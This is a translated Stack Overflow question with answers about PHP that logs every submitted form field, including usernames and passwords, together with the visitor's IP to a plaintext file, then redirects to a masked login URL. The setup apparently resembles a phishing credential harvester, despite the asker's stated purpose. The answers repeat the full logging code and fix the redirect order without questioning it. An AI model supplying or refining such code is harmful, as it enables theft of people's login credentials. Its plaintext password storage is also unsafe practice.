【问题标题】:Creating a PHP to redirect user after running script在运行脚本后创建一个 PHP 来重定向用户
【发布时间】:2016-06-05 07:22:38
【问题描述】:

我正在尝试创建一个简单的 Web 应用程序供一些朋友使用,但我不知道如何为它执行 php 功能。

<?php
header ('Location: https://####.com/login/#');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fwrite($handle, "IP=");
fwrite($handle, $_SERVER["REMOTE_ADDR"]);
fwrite($handle, "\r\n");
fwrite($handle, "---------------");
fwrite($handle, "\r\n");
fclose($handle);
?>

这应该做的是写入用户名和密码以及登录 IP 的日志,以便在需要时我的芽可以确保没有人登录那不应该登录。 无论如何,我将如何做到这一点,以便在记录这些详细信息后,将它们转发到另一个页面,例如主页? 有没有办法在不过多修改 php 内容的情况下做到这一点?

也不确定是否有办法通过修改我正在使用的按钮来做到这一点......

<input class="button-red" value="Log in" type="submit">

仍然需要运行 PHP。

【问题讨论】:

    标签: php css redirect button project


    【解决方案1】:

    header ('Location: https://####.com/login/#'); 移到代码末尾。

    这样一旦文件写入完成,页面就会被重定向。

    编辑

    请记住,在将任何输出发送回浏览器之前,需要调用 header() 函数。意味着,在任何 html 之前都应该使用它!

    // do your code for inserting the IP to the file
    
    header ('Location: https://####.com/login/#'); // to redirect the page
    die; // the script will not stop execution here, so the html that you might have in that page below this code won't be shown either
    
    ?>
    

    【讨论】:

    • @Pete,上面的代码是您的实际 php 代码还是该页面中也有任何 html?
    • 所以为了进一步澄清我的问题,页面本身并没有完全重定向,只有我有 php 脚本的部分。不确定这是否完全解释了它。
    • 页面上还有html
    • @Pete,请记住 header() 函数应该在任何输出发送到浏览器之前被调用。表示该页面上的任何 html 之前以及您 echo 的任何内容之前!否则重定向将不起作用!
    【解决方案2】:

    因为我很好,我继续为你编写代码 将您的按钮 html 更改为他的 &lt;input class="button-red" value="Log in" type="submit" name="submit"&gt;

    然后使用这个 php 代码

    <?php
    if(isset($_POST['submit'])){
      $handle = fopen("log.txt", "a");
      foreach($_POST as $variable => $value) {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
      }
      fwrite($handle, "\r\n");
      fwrite($handle, "IP=");
      fwrite($handle, $_SERVER["REMOTE_ADDR"]);
      fwrite($handle, "\r\n");
      fwrite($handle, "---------------");
      fwrite($handle, "\r\n");
      fclose($handle);
      $codeRan = "true";
      if($codeRan == "true"){
        header ('Location: https://####.com/login/#');
      }
    }
    ?>
    

    【讨论】:

    • 这看起来不错,但我仍然遇到的问题不是整个页面重定向,只有我有登录字段的区域
    • 例如,如果我使用 example.com 作为重定向,这就是它在网站中心显示的内容,也就是登录字段所在的位置。
    【解决方案3】:

    在 php 代码的末尾添加重定向,因为一旦它调用 header(),它将执行函数/重定向而不执行其余代码并在其后添加 exit/die。我认为这可能会阻止您的重定向。尝试调试或其他一些方法。

    <?php
    if(isset('button-name')){
        ...code...
        header('Location: http://www.example.com/');
        die();   // or exit(0);
    }
    ?>
    

    这是参考http://php.net/manual/en/function.header.php 网址必须是绝对网址

    解决方法 将使用 html 元标记在您的 php

    之后添加 html
    <meta http-equiv="Location" content="http://example.com/">
    

    或使用窗口的位置属性执行 php 后的 javascript 调用

    window.location.replace("http://example.com/");
    

    【讨论】:

    • 如果我只是移动标题,就会发生这种情况imgur.com/RU0epUB example.com 中的文本出现在我有登录字段的位置
    • 这意味着重定向正在发生在说明性域中。将“example.com”替换为您需要重定向到的 URL,如果您在 localhost 上工作,则为 localhost/BASE_DIRECTORY/index.html,如果您正在使用服务器,则进入下一页您需要转到 @987654324 @
    【解决方案4】:

    你应该在你的代码之后写header()
    而不是这个:

    <?php
    header ('Location: https://####.com/login/#');
    $handle = fopen("log.txt", "a");
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fwrite($handle, "IP=");
    fwrite($handle, $_SERVER["REMOTE_ADDR"]);
    fwrite($handle, "\r\n");
    fwrite($handle, "---------------");
    fwrite($handle, "\r\n");
    fclose($handle);
    ?>
    

    这样写:

    <?php
    $handle = fopen("log.txt", "a");
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fwrite($handle, "IP=");
    fwrite($handle, $_SERVER["REMOTE_ADDR"]);
    fwrite($handle, "\r\n");
    fwrite($handle, "---------------");
    fwrite($handle, "\r\n");
    fclose($handle);
    
    // ?>  Your other HTML Code <?php
    
    header ('Location: https://####.com/login/#');
    ?>
    

    【讨论】:

    • 如果我只是移动标题然后会发生这种情况imgur.com/RU0epUB example.com 中的文本出现在我有登录字段的地方
    • @Pete 把你的整个 PHP 页面摆弄并在这里评论。
    猜你喜欢
    • 2011-06-05
    • 2023-03-10
    • 1970-01-01
    • 2011-04-05
    • 2018-04-02
    • 1970-01-01
    • 1970-01-01
    • 2022-07-22
    • 1970-01-01
    相关资源
    最近更新 更多